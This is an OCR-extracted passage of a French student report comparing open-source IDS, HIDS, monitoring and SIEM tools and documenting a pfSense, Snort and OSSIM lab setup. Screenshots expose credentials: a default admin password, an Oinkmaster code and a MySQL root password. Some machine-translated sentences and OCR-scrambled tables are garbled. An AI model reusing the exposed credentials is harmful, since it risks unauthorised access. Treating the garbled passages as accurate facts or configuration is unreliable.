détection, ils permettent d’étendre les fonctionnalités de Snort (fragmentation des paquets, scans de

port).
II1.2.2. Cas de Suricata : 119

111.2.2.1. Définition :

Le moteur Suricata est un IDS/IPS Open Source. Ce moteur n'est pas destiné a remplacer ou
émuler les outils existants dans l'industrie, mais il apporte de nouvelles idées et technologies sur le
terrain. OISF fait partie et est financée par le programme du « Department of Homeland Direction » de
la sécurité pour la science et la technologie (Open Homeland Security Technology), par l'espace de la
« Navy and Naval Warfare Systems Command » (SPAWAR), ainsi que par le soutien trés généreux de

la membres du Consortium OISF.

111.2.2.2. Fonctionnalités de Suricata :

Comme Snort, Suricata propose les mémes fonctionnalités, mais comme il peut étre un IPS il
propose encore d’autres fonctionnalités avancés telles que :
e Support Ipv6 natif
e Multi-threadée
* Accélération matérielle native (Accélération par GPU, PF_RING)
* De nombreuses options pour optimiser les performances
* Support optimisé des tests sur IP seules

¢ IPS (mode inline) natif

1I1.2.3. Tableau comparatif des NIDS :

Nous présentons ci-dessous un tableau comparatif des deux solutions des NIDS libre qu’on vient

de présenter.
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Suricata Snort

Soutenu par une fondation Développé par Sourcefire
Multi-threadé Multi-process

IPS natif IPS supporté

Fonctions avancées Jeu de régles SO

(flowint, libHTP) (logique avancée + perf mais fermé)
Support de PF_RING Pas d’accélération matérielle

Code moderne et modulaire Code vieillissant

Jeune mais dynamique 10 ans d’expérience

Tableau3.4: comparaison des NIDS

On constate dans le tableau ci-dessus que Suricata est mieux que Snort, mais nous avons choisi
d’utiliser Snort parce qu’il répond aux besoins de la sécurité de I’architecture réseau propos¢ et facile a
configurer.

Snort peut étre configuré avec une interface graphique, nous avons trois choix de configuration

présentés ci-dessous.

I11.3. Comparaison des interfaces graphique de Snort :

Pour savoir quelle interface graphique a utiliser, nous vous proposons trois interfaces de

configuration graphiques de Snort avec leurs fonctionnalités.

II1.3.1. Cas de BASE 1.4.5 : °%

La BASE est 1'Analyse de Base et le Moteur de Sécurité. Il est basé sur le code de la Console
d'Analyse pour des Bases de données d'Intrusion le projet (ACIDE). Cette application fournit un

frontal Web pour questionner et analyser les alertes venant d'un Snort IDS le systéme.

1I1.3.2. Cas de Snorby 2.3.9 : 21

Snorby est une application Ruby qui est utilisé¢ pour afficher / rendre compte des résultats de

détection des logiciels de détection d'intrusion tels que Snort.

I11.3.3. Cas de Squil + Squert 0.9.2: =

La premiére variante est un couple de deux applications nommées respectivement Sguil et
Squert. Squil est une console de visualisation en temps réel des alertes générées, permettant de
consulter dans tous ses détails une alerte émise par Snort (y compris éventuellement le contenu des

trames réseau capturées).
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Squert est plutot orienté vers la consolidation statistique du flux et la compréhension des alertes dans

leur contexte. Les 2 outils offrent une interface graphique et correspondent a des implémentations

disponibles.

111.3.4. Tableau comparatif des interfaces graphique :

23]

Nous présentons ci-dessous un tableau comparatif des interfaces graphiques des NIDS libres

qu’on vient de présenter

Dashboard

Automatic
classify/catagorize?
View packet data?

View Rule within GUI?
Export Event Data?

Authentication System?

Graph Options?
Graph Alerts by Date?
Graph Alerts by Time?

Graph # of Alerts by
Time?

Graph Alerts by Src IP?
Graph Alerts by Dst IP?

Graph Alerts by Severity/

Category?

Tableau 3.5: Comparaison des interfaces graphique Snort (1/2)

BASE 1.4.5

Yes

(Trafic par
protocole,
analyse de
port)

No

Yes

Yes

Yes
(email only)

Yes

pie/bar/line/
worldmap

Yes

Yes

Yes
(bar only)

Yes

Yes

No

Snorby 2.3.9

Yes
(High/Med/Low/
Events vs.Time

Severity Count vs Time
Protocol count vs Time
Signatures Pie chart

Source Pie chart

Destination Pie Chart

Top 5 Sensors
Top 5 Users

Last 5 Unique Events
Analyst Classified Events)

Yes

Yes

Yes

Yes
(email/xml)

Yes

preset line/pie

Yes
(presets only)
Oui
(presets only)

No
Yes (pie only)

Yes
(pie only)

Yes

Squil
+SQueRT
0.9.2

Yes

(Brief

Events by
Sensor

Events by
Category

Top Signatures
Top Source IP's
Top Destination
IP's)

Yes

Yes
Yes
No

Yes

preset pie/bar
Yes

Yes

Yes (heatmap)

Yes (bar only)

Yes (bar only)

Yes
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Graph Alerts by
Signature?

Graph Alerts by Src
Port?

Graph Alerts by Dst
Port?

Graph Alerts by
Country?

Plot Alerts on World
Map?

Special Features

Support?

Requires setup web
server?

Other dependencies

Additional Processes
running?

BASE 1.4.5

Yes
(using Alert
Groups)

Yes

Yes

Yes

Yes

Can work with an
archive
database.

Can delete alerts.

Community only
Yes

Php

pear-php

php Image-Graph
php Image-
Canvas

php mail

Snorby 2.3.9

Yes
(pie only)

No
No
No

No

Can export a pdf report

that includes:
Events vs. Time

Severity Count vs Time
Protocol Count vs Time

Top 15 Signatures
Top 10 Source
Addresses

Top 10 Dest Addresses.
Integrates with some

3rd

party apps
Hotkey support

Custom lookups via API

Community/Developer

Yes

Git

ruby

rails
imagemagick
wkhtmltopdf

Usually phusion
passenger

Sqguil +SQueRT
0.9.2

Yes
(bar only)

Yes
(bar only)

Yes
bar only)

Yes
(pie only)

Yes

County Alerts
Wordmap.
Dashboard includes
timeframe of last
event.

Graphviz graphs.

Community/Developer

Yes

Php

TCL, TclX

Graphviz (with PNG)
Perl Text::CSV

sguildb
snort_agent

Tableau 3.6: Comparaison des interfaces graphique Snort (2/2)

Notre choix d’ACIDBASE comme interface graphique est fait pour :

* Lasimplicité du langage avec lequel il est écrit (PHP).

* La facilité de son implémentation et aussi le fait qu’il répond aux besoins basiques demandés.
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II1.4. Comparaison des HIDS :

Nous avons implémenté des HIDS dans tous les hotes du réseau pour la détection des intrusions
et pour renforcer la sécurité. Une étude comparative sur les logiciels libre est nécessaire pour savoir

quelle utilité est la meilleure.

II1.4.1. Cas de OSSEC : '*¥

OSSEC est un HIDS (Host-based Intrusion Detection System). Il s’agit en quelque sorte d’une
sonde qui travaille sur une machine en particulier et analyse les éléments propres a cette machine.
OSSEC dispose de fonctionnalités adaptées a son utilisation, comme 1’analyse de logs, la détection de
rootkit, les alertes en temps réel et les réponses actives. OSSEC fonctionne sur la plupart des OS
communément rencontrés : Windows, Linux, Mac OS, HP-UX, solaris. Il s’appuie sur un schéma

client / Serveur

I11.4.2. Cas de Samhain : 1231

Le systéme de détection d'intrusion Samhain (HIDS) fournit la vérification d'intégrité de fichier
et le supervise/analyse des fichiers de logs, aussi bien que la détection rootkit, le controle de port, la
détection de SUID executables et des processus cachés. Samhain été congu pour contrdler des hotes
multiples avec des systemes potentiellement différents  d'exploitation, fournissant
l'enregistrement(l'exploitation des bois) centralisé et le maintien(la maintenance), bien qu'il puisse
aussi €tre utilis¢é comme la l'application autonome sur un hote simple. Samhain est une demande
application de multiplateforme open source pour des systtmes POSIX (UNIX, Linux,
Cygwin/Windows).

I11.4.3. Cas de Rkhunter :

Rkhunter est un script Shell qui effectue des divers contrdles sur le systéme local pour essayer
et détecter connu rootkits et le logiciel malveillant. Il exécute aussi des contrdles pour voir si les
commandes ont ét¢ modifiées, si les fichiers de démarrage de systéme ont été modifiés et des controles
divers sur les interfaces de réseau, y compris des contrdles sur des applications d'écoute. Rkhunter a
¢été €crit pour €tre aussi générique comme possible et donc devrait fonctionner sur la plupart des Linux
et des systemes UNIX. On le fournit quelques scénarios de support script de certaines commandes

manquantes du systéme et certains d'entre ceux-ci sont des scripts.

111.4.4. Tableau comparatif des HIDS :

Le tableau 3.7 compare les fonctionnalités fournis par les trois solutions des HIDS : OSSEC

Sambhain et Rkhunter
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Produit

OSSEC Samhain RKhunter
Fonctionnalités

Architecture c-s / local c-s / local Local

Rootkits Oui Oui Oui
Fichiers logs Contenu Contenu + Taille

Fichier
conficguia:ion Perm. taille,prop.,md5 Perm.,taille,prop.,md5

Interface - Web

Alertes Log,mail Log,mail,syslog Log,mail

Tableau 3.7 : comparaison des HIDS

Tirons quelques conclusions de ce tableau comparatif. D’une part, nous remarquons
immédiatement la déficience du logiciel Rkhunter. Ceci est normal, Rkhunter est uniquement un
analyseur systéme pour vérifier la présence de rootkits. Mais nous avons jugé important de le placer
dans ce comparatif de part ses fonctionnalités d’alerte qui se rapprochent, voire équivalent, celles
d’autres HIDS. Les deux systemes OSSEC et Samhain sont fort proches. Ils possédent tous les deux la
possibilité d’étre mis en place de maniére locale ou bien via une architecture client/serveur. Chacun
d’entre eux analyse le systéme pour vérifier la non présence de rootkits, inspecte les fichiers de logs
pour y détecter des activités anormales, et permet d’avertir I’administrateur via des emails ou en
journalisant les alertes. En dehors de cela, nous remarquerons la maigre supériorit¢ de Samhain sur
OSSEC. Toutefois, cette supériorité est a tempérer. En effet, durant nos tests, 1’installation de Samhain
nous a pos¢ quelques problémes, et la configuration n’a pas été des plus simples. A I’inverse,le
systéme OSSEC est doté d’un installeur qui prend les choses en main et nous demande uniquement les
parametres de configuration. Ainsi, malgré un nombre de fonctionnalités important, Samhain n’est
peut-&tre pas aussi mature qu’il le laisse paraitre, finalement on a installé dans les machines du réseau

OSSEC.

II1.5. Comparaison des moniteurs de supervision :

Pour se simplifier le travail, nous allons utiliser un moniteur de supervision. Le but d'un tel
programme est de surveiller les services et les machines se trouvant sous notre responsabilité. Si un
probléme survient, le moniteur de supervision nous prévient et nous allons I’imbriquer dans un logiciel

libre SIEM. Voici donc une comparaison des outils de supervision :
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IIL.5.1. Cas de Nagios : 126

Nagios est un outil de monitoring appliqués aux serveurs.
Il permet de suivre a la trace 1'état des services, et de remonter une alerte si un probléme existe. On
peut également le configurer pour prendre des initiatives si aucune intervention n'est effectuée apres un

seuil.

II1.5.2. Cas de Zabbix : *”

Zabbix est une solution centralisée logiciel « audit des performances et des défaillances ».
Ce logiciel est libre, il est tres réputé de méme que Nagios. Concrétement, le principe du monitoring
est simple, on installe un serveur qui va contrdler un certain nombre de points sur d’autres serveurs et

se mettre a envoyer des alertes si cela va mal.

1I1.5.3. Tableau comparatif des moniteurs de supervision :

Nous présentons ci-dessous un tableau comparatif des deux solutions de supervision libre
qu’on vient de présenter. Notez aussi que les points forts sont représentés par « + » de et les points

faibles par « - » :

Nagios Zabbix

¢ Référence Open Source. ¢ Intégration des fonctions gestion
* Excellente gestion de pannes. de pannes, de performances et
¢ Bibliothéque étendue de .

) reporting.

plugins.
+ ¢ Interface Web pour toutes les
fonctions.

¢ Simplicité d’utilisation.

¢ Evolution rapide.

¢ Configuration complexe. ¢ Bibliothéque limitée de modéles
¢ Intégration difficile de d’équipements.
= fonctions configuration, e Reporting basique.

gestion de performances,

reporting.

Tableau 3.8 : Comparaison des moniteurs de supervision

Le choix technique du moniteur de supervision est Nagios, parce qu’il comporte plusieurs
fonctionnalités et il est implémenté par défaut dans le SIEM choisi.

Donc, notre comparaison suivante est forcément sur les logiciels libres du SIEM.
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I11.6. Comparaison des SIEM :

Le SIEM est pratiquement le logiciel le plus important dans notre projet il nous faut d’abord
une étude comparative pour choisir un bon logiciel et I’'implémenter ensuite dans notre architecture.

Apres une recherche ciblée nous avons proposé 3 logiciels concurrents

111.6.1. Cas de Cyberoam iView :

Cyberoam iView est une solution de log - reporting open source qui fournit aux organisations
de la visibilité sur leurs réseaux a travers de nombreux dispositifs pour des niveaux €levés de sécurité,

de confidentialité¢ des données tout en satisfaisant les obligations de conformité réeglementaire.

111.6.2. Cas de Splunk :

Splunk est une solution logicielle pouvant s’installer sur n’importe quel OS et propose une
approche originale a la collecte, 1’analyse et la corrélation de logs. En effet Splunk permet
I’indexation universelle des logs qu’ils soient issus des applications, des logiciels de sécurité, et des

SCerveurs.

111.6.3. Cas d’Alienvault OSSIM :

OSSIM est un projet open source de « management de la sécurité de I’information ». Cette
solution s’appuie sur une gestion des logs basées sur la corrélation de ceux-ci ainsi qu’une
notion d’évaluation des risques.
Cette solution est née du constat selon lequel il est difficile encore a ce jour d’obtenir un
instantané de son réseau et des informations qui y transitent avec un niveau d’abstraction
suffisant pour permettre une surveillance claire et efficace.
Le but d’OSSIM est donc de combler se vide constaté quotidiennement par les professionnels

de la sécurité.

111.6.4. Tableau comparatif des SIEM :

Ce tableau comparatif met le point sur les principaux fonctionnalités de des trois solutions des

SIEM respectivement Cyberoam « iView », Splunk et Alienvault « OSSIM »
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Survalllance Surveillance  Surveillance Simplicité
Solution SIM SEM

z des des déploiement
des données . Lo
utilisateurs applications et support
foam @ @ * 9 D
Cyberoam
splunk . ™ ™ ™ " .
et @ @ @ @ @ )

Tableau 3.9 : Comparaison des SIEM

On constate aprés avoir vu le tableau ci-dessous que OSSIM est le meilleur logiciel libre,
encore plus, il est aussi un congurent des logiciels propriétaires par excellence.

Il est donc le meilleur choix pour pouvoir gérer les différentes parties du réseau et faire une bonne

gestion des logiciels mentionné auparavant.

Conclusion :

Une recherche ciblée de chaque logiciel est nécessaire pour avoir une sécurité optimale

destinée aux petites et moyennes entreprises.

Notre choix technique était objectif et nous allons vous présenter le déploiement et la mise en place de

I’architecture réseaux.
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Cﬁqpitre 4

Déyﬁ)iement de la solution

Introduction :

Dans le cadre de ce chapitre nous allons présenter notre architecture proposée, mettre en place
tous les équipements informatiques d’une architecture type et mettre en valeur la configuration des

logiciels libre de la sécurité informatique.

1V.1. Architecture proposée :

Comme nous avons mentionné dans les chapitres précédents, notre projet est destiné
essentiellement aux petites et moyennes entreprises.
Pour cela cette architecture type de la figure suivante peut étre mise en place dans les petites
entreprises.
Elle est composée de trois grandes parties comme suit :
v La partie interne : On trouve les ordinateurs locaux des personnels de 1’entreprise.
La partie DMZ est composée de deux DMZ :
v' DMZ Web : un serveur web et Base de données
v" DMZ Monit : Ou bien DMZ de supervision du réseau on y trouve une machine de supervision
« Monitoring » et une machine de pentest.
v" La partie externe : Cette zone nous méne au monde extérieur « Internet » a travers un pare-feu

et un routeur.
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h

Royter

| DMZ 2 Monitoring I ( DMZ 1 Web
Proxy
Machine Pentest Ossim Database Web server DVWA

AN
1 92.168.56.0/244‘

@—1 72.16.1.0/24
Firewall

172.16.16.0/24

IDS

Ml

IDS

| Internal Network )

Figure 4.1 : Mise en place d’une architecture réseau type

Le tableau suivant représente les régles de filtrages « ACL » des trois interfaces.
On trouve dans ce tableau les ports a ouvrir dans chaque interface, donc c’est la premicre étape de la
sécurité.
L’ensemble de ces régles permet de mettre en ceuvre une méthode de filtrage dépendante de
la politique de sécurité adoptée par ’entité, on autorise uniquement les communications ayant été
explicitement autorisées.
Cette méthode est sans aucun doute la plus siire, mais elle impose toutefois une définition précise et

contraignante des besoins en communication.

WAN INT DMZ-Web DMZ-Monit
WAN c Non 80,443 Non
INT 80, 443, 53, 25,110 = 80,443 514,1514
DMZ-Web 80,443, 53, 25,110 Non - 514 ,1514
DMZ-Monit 80,443 ,53,25,110 Tout Tout

Tableau 4.1. : Les régles de filtrage ACL

Voici deux tableaux qui justifient les noms des interfaces du réseau et ports utilisés avec leurs noms :
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Nom interface Définition

WAN La partie externe

INT La partie interne
DMZ-Web La zone démilitarisée du serveur web.
DMZ-Monit La zone démilitarisée de la supervision « Monitoring »

Tableau 4.2. : Les désignations des interfaces

Numéro Port Nom Port

25 SMTP
53 DNS
80 http
110 POP3
443 https
514 Syslog

1514 rSyslog
22 SSH

Tableau 4.3. : Les ports utilisés

Nous n’avons installé que deux ordinateurs dans la partie interne vue que nous avons utilisé
une machine virtuelle, qui ne supporte pas beaucoup de machines ouvertes simultanément.
On note ici, qu’on peut multiplier les ordinateurs du personnel de I’entreprise a travers des VLAN et

en ajoutant des Switch liés avec le pare-feu, comme il est indiqué dans la figure suivante.

D

Royter

DMZ 2 Monitoring ) ( DMZ 1 Web
Proxy
Machine Pentest Ossim Database Web server DVWA

J . ~ 3
\@7192.16&57‘0/24 3 '92.158.55.01244,

Firewall

DS 172.16.0.0/24 DS
VLAN 1 VLAN 2

u u !

Figure 4.2 : Mise en place d’une architecture réseau étendue.
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VI.2. Les Outils utilisés :

Caractéristique de l'ordinateur

Nom MacBook Pro
Ecran 15°
Processeur Core i7 Quadricceur a 2,3 GHz Intel
Mémoire RAM 4 Go
Stockage 500 Go
Systéeme d’exploitation OS X Lion

Tableau 4.4 : Les caractéristiques technique de I’ordinateur

Nous avons utilisé un logiciel de virtualisation : Virtual Box

1V.3. Configuration de PfSense :

Nous avons commencé par installer un pare-feu dans I’architecture réseau.

Puis nous avons configuré ces fonctionnalités pour assurer une meilleure activité du trafic réseau.

Starting package ntop...done.

Starting package Proxy Server with mod_security...

Fatal error: Call to undefined function sarray() in susrs/local/pkgrapache_mod_se
curity.inc on line 168

Bootup complete

FreeBSD,i386 (pfsense.localdomain) (ttyvo)
»x% Welcome to pfSense 2.0.3-RELEASE-pfSense (i386) on pfsense s

WAN (wan) -> emo -> 10.0.2.8 (DHCP)
DMZWEB (lan) -> eml -> 192.168.56.102
MONIT (optl) -> em2 -> 192.168.57.102
INT (opt2) -> em3 -> 172.16.0.2

0) Logout (SSH only) Shell

1) Assign Interfaces pf Top

2) Set interface(s) IP address Filter Logs

3) Reset webConfigurator password Restart webConf igurator

4) Reset to factory defaults pfSense Developer Shell

5) Reboot system Upgrade from console

6) Halt system Disable Secure Shell (sshd)
?) Ping host

Enter an option:

S QP =P i3 [#] Left 38

Figure 4.3 : Assignation des interfaces de PfSense

Dans la figure du terminal Nous avons ensuite assigné les interfaces du pare-feu « PfSense »

liés avec les autres réseaux ; cependant 1I’adresse de 1’interface web est 192.168.56.10211 faut d’abord
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ouvrir I’interface graphique pour le paramétrage de ce dernier, on ouvre par la suite le navigateur web

et on met 1’adresse de 1’interface. On obtient donc:

Interfaces =
pfsense.localdomain 3 WAN

2.0.3-RELEASE (i386) (DHCP)
built on Fri Apr 12 10:22:57 EDT 2013 1000baseT <full-
FreeBSD 8.1-RELEASE-p13 £ DMZWEB 192.168.56.102 510

10.0.2.8 1000baseT <ful-duplex>

100002seT <fulk-
Unable to check for updates. 3 MONIT 192.168.57.102 0

>

Platform pfSense o
CPU Type Intel(R) Core(TM) i7-2675QM CPU @ 2.20GHz

Uptime 00:09 ges BEX
Current .2g:
date/time Sun May 12 13:25:35 CET 2013 Name Yy

DNS 10.0.2.1 Apache with Network 0.2
r(s) gggg mod_security-dev Management

ntop Network 5.0.1v2.3

Prsticoaliy Thu May 8 20:08:27 CET 2013 Management

ichange Proxy Server with Network 0.1.2
State table 22/47000 mod_security Management

size Show states snort Security 29.4.1 pkgv. 2.5.7

172.16.0.2 1000baseT <ful-duplex>

ok

MBUF Usage 1158/16704

C———— ]
CPU usage S

Memory —
usage 25%

)
SWAP usage o

S—)
Disk usage ——ry

Figure 4.4 : Tableau de bord de PfSense
Apres avoir écrit le nom d’utilisateur et le mot de passe (admin/pfsense) on trouve le tableau de
bord apres on compléte la configuration les interfaces. Voir « Annexe »
System: Package Manager 2]

FU 1 8 Installed Packages

Package Package Package
Name o Info Version

Apache with Network Management Package 0.2 ModSecurity is a web application firewall that can work
mod_security- Info either embedded or as a reverse proxy. It provides

dev protection from a range of attacks against web =
applications and allows for HTTP traffic monitoring, X
logging and real-time analysis. In addition this package [;ﬁ Q
allows URL forwarding which can be convenient for -
hosting multiple websites behind pfSense using 1 IP

address.

ntop Network Management No info, 5.0.1v23 ntop is a network probe that shows network usage ina
check the way similar to what top does for processes. In

forum interactive mode, it displays the network status on the
user's terminal. In Web mode it acts as a Web server,
creating an HTML dump of the network status. It sports a T
NetFlow/sFow emitter/collector, an HTTP-based dient lnfo LI;?

A

interface for creating ntop-centric monitoring
applications, and RRD for persistently storing traffic
statistics.

Proxy Server Network Management Package 0.1.2 ModSecurity is a web application firewall that can work

with Info either embedded or as a reverse proxy. It provides

mod_security protection from a range of attacks against web -
applications and allows for HTTP traffic monitoring, X
logging and real-time analysis. In addition this package [p;'?? ]
allows URL forwarding which can be convenient for -
hosting multiple websites behind pfSense using 1 IP

address.

snort Security No info, PRERE SRR WA Snort is an open source network intrusion prevention and @

check the detection system (IDS/IPS). Combining the benefits of 2 v,v,}
forum signature, protocol, and anomaly-based inspection. ln!n lﬂ

Figure 4.5 : Les Packages installés
Les « packages » installés sont : Mod_security + apache, NTOP et SNORT
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Firewall: Aliases

Values

admin

| Administrateur
| BackTrack
| DMZ1

| DMZ2

| DVWA

| 0SSIM
| port_admin
v port_navig
| port_syslog
v port_web
| Xp1

Xp2

10.0.2.20
152.168.57.103
152.168.57.103
152.168.56.0/24
152.168.57.0/24
152.168.56.101
152.168.57.101

80, 443, 22, 21, 3385
80, 443, 25, 110, 53
514, 1514

80, 443

10.0.2.20

10.0.2.22

machine de de pentest

Contient DVWA

Contient OSSIM et BackTrack
Damn wulnerable web application
SIEM Open Source

port de navigation
port syslog

web port

Machine Windows Xp 1
Machine Windows Xp 2

Figure 4.6 : Les Alias des interfaces réseau et ports

Vous pouvez designer des alias afin de faciliter la configuration des ACL pour éviter la

redondance des adresses des interfaces, des hotes et des ports utilisés.

Firewall: Rules 000
 Fontng TN ovawen | wowar | v
ID  Proto Source  Port Destination Port  Gateway Queue  Schedule  Description PR
o TCP = = DVWA port_web | * none ext to web Ll
!
e * = = - = - none denyall ad e
o| ElF
@
!
pass E3 block reject (i %
pass (disabled) block (disabled) reject (disabled) log (disabled)

Figure 4.7 : Les régles de filtrage de l’interface WAN

Les régles de filtrage de I’interface WAN est faite en vue de permettre le trafic de n’importe

quel adresse source vers la destination DVWA a travers le port web (80 et 443).
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Firewall: Rules 000
 iostng | v JEESl wonr | et

D Proto Source Port Destination Port Gateway Queue Schedule Description [‘;_?L-!'}
(>} * * * DMZWEB 80 * * &
Address 22 - h'é,
] o UDP DMZWEB | = MONIT net port_syslog | * none lxﬂké
ret L
(] o TCP DMZWEB | = MONIT net 22 (SSH) x none ([P
et L
o TCP/UDP | DMZWEB | = WAN net port_navig | * none [P
et L
|:‘ %] x x x x x x none L}ﬂké
° !
l)vsq
L
pass E3 block reject O g
pass (disabled) block (disabled) reject (disabled) log (disabled)

Figure 4.8 : Les régles de filtrage de ’interface DMZ-WEB

Les régles de filtrage de I’interface DMZ-WEB sont les suivantes :
Ouvrir le trafic de 1’adresse source DMZWEB vers ’interface DMZ-Monit a biais de port_syslog (514
et 1514) et vers I’interface WAN par le port_navig (80, 443, 110, 53 et 25).

Firewall: Rules 000
[ Fiosting | wan | owzwes [ECREl ot |
po) Proto Source Port Destination Port Gateway Queue Schedule Description 1_3_3 l_.!'}
o TCP/UDP | MONIT net | = WAN net port_navig | * none (]
(R
o * MONIT net | = DMZWEB net = = none ([P
(R
o * MONIT net | = INT net x x none [
(R
] x] = = * * * = none Ll
o Ll
@
(R
pass £3 block reject O g
pass (diszbled) block (disabled) reject (diszbled) log {disabled)

Figure 4.9 : Les régles de filtrage de l’interface DMZ-Monit

Les régles de filtrage de I’interface DMZ-Monit sont les suivantes :
Ouvrir le trafic de I’adresse source DMZ-Monit vers 1’interface WAN a travers le port syslog (514 et
1514) et vers I’interface DMZWEB et la partie interne INT.
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Firewall: Rules 000
[ Floating | wan | pmzwes | mowrT R

D ‘ Proto Source Port Destination Port Gateway . Queue Schedule Description @L_-j}

o UDP INT net = MONIT net port_syslog | * none L&

(Y

e TCP/UDP | admin * Administrateur | port admin | * none e

_ _ (e

(o TCP/UDP | INT net = DMZWEBnet | port web | = none Lale

(e

o TCP/UDP | INT net * * port_navig | * none L€

_ _ (e

(&3 * * * * * * none Ll

E =0
l@

(e

Figure 4.10 : Les régles de filtrage de linterface interne (INT)

Les regles de filtrage de I’interface INT sont les suivantes :
Ouvrir le trafic de 1’adresse source INT vers I’interface DMZ-Monit a travers le port syslog (514 et
1514) ainsi vers I’interface DMZWEB par le port web (80 et 443) et une liaison a distance par un

poste admin et une machine distante « administrateur » par le port_admin (80, 443, 22, 21, 3389).

Services: Snort 2.9.4.1 pkg v. 2.5.7 @
CRTPSIY Gotm setin | upiaes | o | Biock | wtaits | suges
If Snort \ Performance Block . Barnyard2 . Description 1_@,
[ WAN ENABLED [3 AC-BNFA DISABLED ENABLED [3 IDS pour l'interface externe (WAN) (]
[ DMZWEB ENABLED [3 AC-BNFA DISABLED ENABLED [3 IDS Snort pour linterface DMZ1 (LAN) €
(] INT ENABLED [ AC-BNFA DISABLED DISABLED IDS Snort pour linterface inetrne (OPT2) &

&)

Figure 4.11 : La configuration du paquet Snort

Apres I’installation de paquet Snort, il faut obligatoirement le mettre en marche et le

configurer. Nous avons ajouté Snort par le bouton « + » dans trois sondes du pare-feu.

Services: Snort: Update Rules

'There is a new set of Snort VRT rules posted. Downloading...

la8%

Return

Figure 4.12 : Le téléchargement des régles (Rules) de Snort

Snort exige le téléchargement des régles, qui sont mis a jour par la communauté Snort.
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Services: Snort: Global Settings

COSTRT coor | s | ioces | whtais | sopre

Install Snort VRT rules O Do NOT Install

@ Install Basic Rules or Premium rules

Sign Up for a Basic Rule Account
Sign Up for Sourcefire VRT Certified Premium Rules. This Is Highly Recommended

Oinkmaster Configuration

Cecs dd35c17031b55a9b6a3304336e7491b9c6d267d3
Obtain a snort.org Oinkmaster code and paste it here.

Instzll Snort Community The Snort Community Ruleset is a GPLv2 VRT certified ruleset that is distributed free of charge without any
rules VRT License restrictions. This ruleset is updated daily and is a subset of the subscriber ruleset.

Note: If you are a Snort VRT Paid Subscriber, the community ruleset is already built into your download of
the Snort VRT rules, and there is no benefit in adding this rule set.

ing" EREOg IRt O Emerging Threats is an open source community that produces fast moving and diverse Snort Rules.

Update rules automatically | NEVER : | Please select the update times for rules.
Hint: in most cases, every 12 hours is a good choice.
General Settings

Log Directory Size Limit @® Enable directory size limit (Default)
() Disable directory size limit

Note:

Avalable space 's 1010 MB Warning: Nanobsd should use no more than 10MB of space.

Size in MB 222 Default is 20% of available space.

Remave blocked hosts every | NEVER + | Please select the amount of time you would like hosts to be blocked for.

Hint: in most cases, 1 hour is a good choice.

Keep snort settings after

delnstall ™ Settings will not be removed during deinstall.

Figure 4.13 : La configuration generale de Snort

Pour une meilleur détection, il faut télécharger les « Rules » en faisant un compte unique a
Snort.org afin d’obtenir un code unique « Oinkmaster », et cocher la case de I’envoie des Logs.

Snort: Interface: WAN Barnyard2 Edit ©
ot a7 | ot e | Vi | rreceees [

General Barnyard2 Settings

Enable # Enable Bamyard2
This will enable barnyard2 for this interface. You will also have to set the database credentials,

MySQL Settings

MySQL output database: log, alert, mysql, dbname=alienvault_siem user=root host=192.168.57.101 password=n13

Database Example: output database: alert, mysql, dbname=snort user=snort host=Ilocalhost password=xyz
Example: output database: log, mysql, dbname=snort user=snort host=localhost password=xyz

Advanced Settings

\ |

Arguments here will be automatically inserted Into the running barnyard2 configuration.

Figure 4.14 : La configuration de Barnyard2

Snort dispose une base de données propre a lui, dans le but d’envoyer correctement les logs

dont on a besoin pour les alertes par 1’outil « Barnyard2 ».
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Status: System logs: Settings L2
[ System | Firewan | DHCP | Portal Autn | 1Psec | PPP | vPN | Load Balancer | Openven | TP | wirsiess JEETY

| Show log in order ( on top)

Number of log entries to show: \\ 50

™ Log by the rule
Hint: packets that are blocked by the implicit default block rule will not be logged anymore if you uncheck this option. Per-rule
logging options are not affected.

|_| Show raw filter logs

Hint: If this is checked, filter logs are shown as generated by the packet filter, without any formatting. This will reveal more detailed
information.

|_| Disable writing log files to the local RAM disk

~ ‘ing to syslog server

Server 1 192.168.57.101
Server 2

Server3 M
IP addresses of remote syskog servers
System events
Firewall events
DHCP service events
Portal Auth events
VPN (PPTP, IPsec, OpenVPN) events
Gateway Monitor events
Server Load Balancer events
Wireless events

@ Everything
Figure 4.15 : La configuration de systéeme de Logs

Il faut aussi configurer le systéme des logs et les centraliser pour les envoyer a un serveur bien
déterminer.

Status: System logs: Firewall 2]

Normal View | Dynamic View | Summary View

Act Time If Source Destination Proto
%] May 12 14:18:58 | WAN © s 152.168.1.6 © (4 224.0.0.251 IGMP
%] May 12 14:15:11 | WAN © 5 152.168.1.6:5353 © (5 224.0.0.251:5353 uDP
[x] May 12 14:15:27 | WAN © '+ 152.168.1.6:5353 © (4 224.0.0.251:5353 UDP
%] May 12 14:20:51 | WAN © +152.168.1.2:137 © 4 152.168.1.255:137 UDP
1] May 12 14:20:52 | WAN © +152.168.1.2:137 © '+ 152.168.1.255:137 uDP
%] May 12 14:20:53 | WAN © +152.168.1.2:137 © (4 152.168.1.255:137 UDP
%] May 12 14:23:01 | WAN © +152.168.1.2:137 © '+ 152.168.1.255:137 uDP
[x] May 12 14:23:02 | WAN © +152.168.1.2:137 © 4 152.168.1.255:137 UDP
[x] May 12 14:23:03 | WAN © 4152.168.1.2:137 © (5 152.168.1.255:137 UDP
[x] May 12 14:23:51 | WAN © +152.168.1.2:137 © (4 152.168.1.255:137 UDP
%] May 12 14:23:52 | WAN © +152.168.1.2:137 © 4 152.168.1.255:137 UDP
1] May 12 14:24:40 | WAN © +152.168.1.1:1500 © '+ 235.255.255.250:1500 uDP
[x] May 12 14:24:40 | WAN © '+ 152.168.1.1:1500 © [+ 235.255.255.250:1500 UDP
%] May 12 14:24:40 | WAN © +152.168.1.1:1500 © '+ 235.255.255.250:1500 uDP
[x] May 12 14:24:40 | WAN © '+ 152.168.1.1:1500 © (4 235.255.255.250:1500 UDP
%] May 12 14:24:47 | WAN © [+ 152.168.1.1:1500 © [+ 235.255.255.250:1500 UDP
1] May 12 14:24:49 | WAN © +152.168.1.1:1500 © '+ 235.255.255.250:1500 uDP
%] May 12 14:24:45 | WAN © '+ 152.168.1.1:1500 © [+ 235.255.255.250:1500 UDP
1] May 12 14:24:45 | WAN © +152.168.1.1:1500 © '+ 235.255.255.250:1500 uDP
[x] May 12 14:24:45 | WAN © '+ 152.168.1.1:1500 © (4 235.255.255.250:1500 UDP
[x] May 12 14:24:49 | WAN © s 152.168.1.1: © '+ 235.255.255.250:1500 UDP

Figure 4.16 : Le résultat de systéme des Logs Firewall

La configuration 1a dessous nous a donnée des résultats dés les premiers trafics réseau des logs

Firewall.

57



Status: System logs: DHCP

Last 50 DHCP service log entries

